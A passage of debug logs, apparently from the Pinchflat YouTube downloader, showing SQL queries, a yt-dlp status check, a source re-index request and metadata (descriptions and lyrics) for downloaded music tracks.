to YouTube by The Orchard Enterprises\n\nMy Defiance · Josh Kincheloe · Death Therapy\n\nMy Defiance\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-02-15\n\nAuto-generated by YouTube.", "My Defiance", "jx2M-jIRjcg", 238, false, "https://www.youtube.com/watch?v=jx2M-jIRjcg", "/downloads/ChristianMetal/ChristianMetal/2019-02-14My Defiance[jx2M-jIRjcg].m4a", false, 5, ~U[2019-02-14 10:15:15Z]] 22:20:21.385 [debug] QUERY OK source="sources" db=0.1ms idle=164.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:21.392 [debug] QUERY OK source="media_profiles" db=6.1ms idle=165.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:21.418 [debug] QUERY OK source="media_profiles" db=196.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:21.418 [debug] QUERY OK source="media_items" db=26.2ms idle=170.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [353] 22:20:21.418 [debug] Current batch of media processed. Will check again in 1000ms 22:20:21.418 [debug] QUERY OK source="settings" db=0.2ms idle=33.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.419 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:21.419 [debug] QUERY OK source="settings" db=0.1ms idle=33.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.419 [debug] QUERY OK source="settings" db=0.2ms idle=27.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.420 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:21.420 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KuYc0SyH5hc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d9/74/d9742690520ed1579b0f305ea842b6ad6cd0081e912ef25e8cbf378cd3a617fa.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:21.619 [debug] Current batch of media processed. Will check again in 1000ms 22:20:22.420 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nFallen Empires · Diviner\n\nFallen Empires\n\n℗ Ulterium Records\n\nReleased on: 2015-11-20\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "duration" => 264, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-02-04Fallen Empires[16ovMeUte1o].m4a", "id" => "16ovMeUte1o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=16ovMeUte1o", "playlist_index" => 38, "timestamp" => 1549302404, "title" => "Fallen Empires", "upload_date" => "20190204"} 22:20:22.421 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1001.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:22.422 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1002.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:22.423 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1002.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-02-04 17:46:44Z], 5] 22:20:22.618 [info] POST /sources/1/force_index 22:20:22.619 [debug] QUERY OK source="media_items" db=195.4ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nFallen Empires · Diviner\n\nFallen Empires\n\n℗ Ulterium Records\n\nReleased on: 2015-11-20\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Fallen Empires", "094c2b28-c39c-4365-97ed-aa8bab6066cc", false, "16ovMeUte1o", 264, false, "https://www.youtube.com/watch?v=16ovMeUte1o", 38, "/downloads/ChristianMetal/ChristianMetal/2019-02-04Fallen Empires[16ovMeUte1o].m4a", false, false, 5, [], 3, ~U[2019-02-04 17:46:44Z], ~U[2026-07-24 02:20:22Z], ~U[2026-07-24 02:20:22Z], "Provided to YouTube by IIP-DDS\n\nFallen Empires · Diviner\n\nFallen Empires\n\n℗ Ulterium Records\n\nReleased on: 2015-11-20\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Fallen Empires", "16ovMeUte1o", 264, false, "https://www.youtube.com/watch?v=16ovMeUte1o", "/downloads/ChristianMetal/ChristianMetal/2019-02-04Fallen Empires[16ovMeUte1o].m4a", false, 5, ~U[2019-02-04 17:46:44Z]] 22:20:22.619 [debug] Processing with PinchflatWeb.Sources.SourceController.force_index/2 Parameters: %{"_csrf_token" => "MD1_fScMBgwACgMmDA52LGMNXgEYHz0mYPLJNDoMkl7vnCGz3gjrKkje", "_method" => "post", "source_id" => "1"} Pipelines: [:browser] 22:20:22.620 [debug] QUERY OK source="sources" db=0.4ms idle=886.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:22.620 [debug] QUERY OK source="sources" db=0.4ms idle=198.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:22.620 [debug] QUERY OK source="media_profiles" db=0.4ms idle=198.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:22.620 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Learn a simple way to start the F-16 Fighter Jet. This shows the simplest way to start the F-16 if you're in a rush this is not the recommended way. This is for educational purposes only and is not intended to be replicated. Happy Flying!\n\nBully in the Alley Remix", "duration" => 116, "filename" => "/downloads/Classics/Classics/2025-09-11How to Start an F-16 (Bully in the Alley Remix)[gotB5q-uqLk].m4a", "id" => "gotB5q-uqLk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gotB5q-uqLk", "playlist_index" => 13, "timestamp" => 1757629110, "title" => "How to Start an F-16 (Bully in the Alley Remix)", "upload_date" => "20250911"} 22:20:22.621 [debug] QUERY OK source="tasks" db=0.7ms idle=197.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."worker" LIKE ?) AND (o1."state" IN (?,?,?,?)) [1, "%.MediaCollectionIndexingWorker", "available", "scheduled", "retryable", "executing"] 22:20:22.621 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [354] 22:20:22.622 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by CDBaby\n\nI Am The Lion · Phinehas\n\nThe Phinehas - EP\n\n℗ 2009 Phinehas\n\nReleased on: 2009-12-15\n\nAuto-generated by YouTube.", "duration" => 296, "filename" => "/downloads/ChristianMetal/ChristianMetal/2015-11-05I Am The Lion[VpPEQcjnVO8].m4a", "id" => "VpPEQcjnVO8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VpPEQcjnVO8", "playlist_index" => 39, "timestamp" => 1446745514, "title" => "I Am The Lion", "upload_date" => "20151105"} 22:20:22.622 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:22.623 [debug] QUERY OK source="sources" db=1.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:22.818 [debug] QUERY OK source="sources" db=195.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:22.818 [debug] QUERY OK source="sources" db=194.9ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:22.818 [debug] QUERY OK source="media_items" db=0.4ms idle=34.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-11 22:18:30Z], 2] 22:20:22.983 [debug] QUERY OK source="tasks" db=165.4ms queue=34.2ms idle=160.4ms DELETE FROM "tasks" WHERE "id" = ? [166] 22:20:23.018 [debug] QUERY OK source="media_items" db=199.6ms queue=0.2ms idle=0.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-11-05 17:45:14Z], 5] 22:20:23.184 [debug] QUERY OK source="media_items" db=201.1ms idle=164.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Learn a simple way to start the F-16 Fighter Jet. This shows the simplest way to start the F-16 if you're in a rush this is not the recommended way. This is for educational purposes only and is not intended to be replicated. Happy Flying!\n\nBully in the Alley Remix", "How to Start an F-16 (Bully in the Alley Remix)", "d8edd2c9-e930-4e18-a795-7528c60933bf", false, "gotB5q-uqLk", 116, false, "https://www.youtube.com/watch?v=gotB5q-uqLk", 13, "/downloads/Classics/Classics/2025-09-11How to Start an F-16 (Bully in the Alley Remix)[gotB5q-uqLk].m4a", false, false, 2, [], 1, ~U[2025-09-11 22:18:30Z], ~U[2026-07-24 02:20:22Z], ~U[2026-07-24 02:20:22Z], "Learn a simple way to start the F-16 Fighter Jet. This shows the simplest way to start the F-16 if you're in a rush this is not the recommended way. This is for educational purposes only and is not intended to be replicated. Happy Flying!\n\nBully in the Alley Remix", "How to Start an F-16 (Bully in the Alley Remix)", "gotB5q-uqLk", 116, false, "https://www.youtube.com/watch?v=gotB5q-uqLk", "/downloads/Classics/Classics/2025-09-11How to Start an F-16 (Bully in the Alley Remix)[gotB5q-uqLk].m4a", false, 2, ~U[2025-09-11 22:18:30Z]] 22:20:23.218 [debug] QUERY OK source="sources" db=33.2ms idle=166.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:23.418 [debug] QUERY OK source="media_items" db=399.6ms idle=35.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by CDBaby\n\nI Am The Lion · Phinehas\n\nThe Phinehas - EP\n\n℗ 2009 Phinehas\n\nReleased on: 2009-12-15\n\nAuto-generated by YouTube.", "I Am The Lion", "399acc89-839a-4097-b2ab-a1543ab2ac67", false, "VpPEQcjnVO8", 296, false, "https://www.youtube.com/watch?v=VpPEQcjnVO8", 39, "/downloads/ChristianMetal/ChristianMetal/2015-11-05I Am The Lion[VpPEQcjnVO8].m4a", false, false, 5, [], 1, ~U[2015-11-05 17:45:14Z], ~U[2026-07-24 02:20:23Z], ~U[2026-07-24 02:20:23Z], "Provided to YouTube by CDBaby\n\nI Am The Lion · Phinehas\n\nThe Phinehas - EP\n\n℗ 2009 Phinehas\n\nReleased on: 2009-12-15\n\nAuto-generated by YouTube.", "I Am The Lion", "VpPEQcjnVO8", 296, false, "https://www.youtube.com/watch?v=VpPEQcjnVO8", "/downloads/ChristianMetal/ChristianMetal/2015-11-05I Am The Lion[VpPEQcjnVO8].m4a", false, 5, ~U[2015-11-05 17:45:14Z]] 22:20:23.861 [debug] QUERY OK source="tasks" db=125.1ms idle=517.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [201, 1, ~U[2026-07-24 02:20:23Z], ~U[2026-07-24 02:20:23Z]] 22:20:23.861 [info] Sent 302 in 1243ms 22:20:23.928 [info] GET /sources/1 22:20:23.928 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:23.928 [debug] QUERY OK source="sources" db=0.2ms idle=509.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:23.929 [debug] QUERY OK source="media_profiles" db=0.1ms idle=192.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:23.948 [debug] QUERY OK source="media_profiles" db=729.3ms queue=0.2ms idle=199.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:23.948 [debug] QUERY OK source="sources" db=529.3ms idle=234.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:23.948 [debug] QUERY OK source="tasks" db=0.3ms queue=19.0ms idle=67.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:20:23.948 [debug] QUERY OK source="media_items" db=0.2ms idle=19.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [50] 22:20:23.949 [debug] QUERY OK source="media_profiles" db=0.3ms idle=19.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:23.949 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Caitlin Myers' English cover of \"Do You Remember Love\" by Mari Iijima\n⪢➣ DOWNLOAD ⪢➣ https://ffm.to/citypoppin (iTunes, Spotify, etc) \n➣ PATREON ➣ https://www.patreon.com/posts/48853254 ✦\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n• Credits • (\"Do You Remember Love?\" - Originally by: Mari Iijima) \n✧ Vocals: Caitlin Myers feat. un3h\n✧ Lyrics: Caitlin Myers and @NoelNoirMusic \n✧ Mix: @Rezyon \n✧ Instrumental: @vanfanco \n✧ Video: @ContestChar\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\n• FOLLOW ME •\n✸ Patreon: https://www.patreon.com/caitlinmyers\n☆ Instagram: https://www.instagram.com/mom0ki/\n✸ Twitter: https://twitter.com/CaitlinMyers\n☆ Website: http://www.caitlin-myers.com/\n\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n▼ WANT TO USE THIS COVER SONG? ▼\nNon-profit use only - no remixes or direct uploads, please contact me before using. Please be sure to credit, link back to this video in the description, and link it to me so I can see!\n----------------------------------------­­­­­­­----------------------------------­-------------------­\n\nLyrics:\n\nIn a dream I heard an echo of your voice, my dear, gently pulling me near\nAnd for that moment, all my sadness had disappeared\nDawn arrives and I awake in my room feeling blue, wishin’ I could see you\n\nI let my eyes close and await you through fantasy\n\nUntil last night, tears were falling like rain from my eyes\nBut now my heart feels light...\n\nTell me, 